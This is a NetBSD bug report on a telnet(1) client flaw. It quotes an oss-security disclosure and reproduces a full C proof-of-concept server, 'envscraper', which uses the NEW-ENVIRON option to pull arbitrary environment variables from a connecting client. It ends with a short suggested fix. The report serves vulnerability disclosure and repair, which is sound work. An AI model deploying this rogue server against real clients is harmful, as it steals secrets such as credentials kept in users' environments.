NetBSD-Bugs archive
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index][Old Index]
bin/60081: telnet(1) leaks environment variables to remote host
>Number: 60081
>Category: bin
>Synopsis: telnet(1) leaks environment variables to remote host
>Confidential: no
>Severity: serious
>Priority: medium
>Responsible: bin-bug-people
>State: open
>Class: sw-bug
>Submitter-Id: net
>Arrival-Date: Sat Mar 14 19:55:00 +0000 2026
>Originator: Taylor R Campbell
>Release: current, 11, 10, 9, 8, 7, 6, 5, 4, 3, ...
>Organization:
The TelnetBSD Foundaleak, Inc.
>Environment:
>Description:
>From Justin Swartz on oss-security@:
> In a recent oss-security thread [1] regarding the CVE-1999-0073 [2]
> regression in GNU inetutils telnetd, Solar Designer suggested [3]
> that the inetutils telnet client may not have been subject to an
> adequate fix for CVE-2005-0488. [4]
>
> If this were the case, then it would mean that a telnet server could
> possibly read a client's environment variables with the NEW-ENVIRON
> option and the SEND ENV_USERVAR command.
>
> So, I wrote a simple proof of concept (attached below this message
> as envscraper.c) to find out if I could convince a telnet client to
> tell me the value of an arbitrary environment variable.
>
> [...]
>
> FreeBSD 16.0-CURRENT & NetBSD 11.0-RC2 [VULNERABLE]
>
> Both clients unconditionally leak any requested environment
> variable. No export required.
https://www.openwall.com/lists/oss-security/2026/03/13/1
>How-To-Repeat:
/*
* Attempt to extract an environment variable from a telnet client.
* $ cc -o envscraper envscraper.c -Wall -Werror -Wextra -pedantic
*/
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define IP_ADDRESS htonl(0x7f000001)
#define PORT htons(23232)
#define IAC "\xff"
#define DO "\xfd"
#define SB "\xfa"
#define SE "\xf0"
#define NEW_ENVIRON "\x27"
#define SEND "\x01"
#define USERVAR "\x03"
static int server = -1, client = -1;
static void usage(FILE *stream)
{
fprintf(stream, "usage: envscraper VARIABLE\n");
}
static int setup(void)
{
int reuse = 1;
struct sockaddr_in address = { .sin_family = AF_INET };
socklen_t length = sizeof(address);
server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (server == -1) {
perror("socket");
return -1;
}
if (setsockopt(server, SOL_SOCKET,
SO_REUSEADDR, &reuse, sizeof(reuse)) == -1) {
perror("setsockopt: SO_REUSEADDR");
return -1;
}
address.sin_addr.s_addr = IP_ADDRESS;
address.sin_port = PORT;
if (bind(server, (struct sockaddr *)&address, sizeof(address)) == -1) {
perror("bind");
return -1;
}
if (listen(server, 1) == -1) {
perror("listen");
return -1;
}
client = accept(server, (struct sockaddr *)&address, &length);
if (client == -1) {
perror("accept");
return -1;
}
return 0;
}
static int serve(char *variable)
{
const char accost[] = IAC DO NEW_ENVIRON;
const char demand[] = IAC SB NEW_ENVIRON SEND USERVAR;
const char end[] = IAC SE;
int count;
size_t total = 0;
char ransom[1024];
struct timeval wait = { .tv_sec = 1 };
if (send(client, accost, sizeof(accost) - 1, 0) == -1) {
perror("send: accost");
return -1;
}
if (send(client, demand, sizeof(demand) - 1, 0) == -1) {
perror("send: demand");
return -1;
}
if (send(client, variable, strlen(variable), 0) == -1) {
perror("send: variable");
return -1;
}
if (send(client, end, sizeof(end) - 1, 0) == -1) {
perror("send: end");
return -1;
}
if (setsockopt(client, SOL_SOCKET,
SO_RCVTIMEO, (const char *)&wait, sizeof(wait)) == -1) {
perror("setsockopt: SO_RCVTIMEO");
return -1;
}
while (total < sizeof(ransom)) {
count = recv(client, ransom + total, sizeof(ransom) - total, 0);
if (count == 0)
break;
if (count == -1) {
if (errno == EWOULDBLOCK || errno == EAGAIN)
break;
perror("recv: ransom");
return -1;
}
total += count;
}
if (write(STDOUT_FILENO, ransom, total) == -1) {
perror("write: stdout");
return -1;
}
return 0;
}
static void cleanup(void)
{
if (client > -1)
close(client);
if (server > -1)
close(server);
}
int main(int argc, char *argv[])
{
if (argc != 2) {
usage(stderr);
return EXIT_FAILURE;
}
atexit(cleanup);
if (setup() == -1)
return EXIT_FAILURE;
if (serve(argv[1]) == -1)
return EXIT_FAILURE;
return EXIT_SUCCESS;
}
>Fix:
don't send env vars if they're not marked exported, like OpenBSD did back in 2005
Home |
Main Index |
Thread Index |
Old Index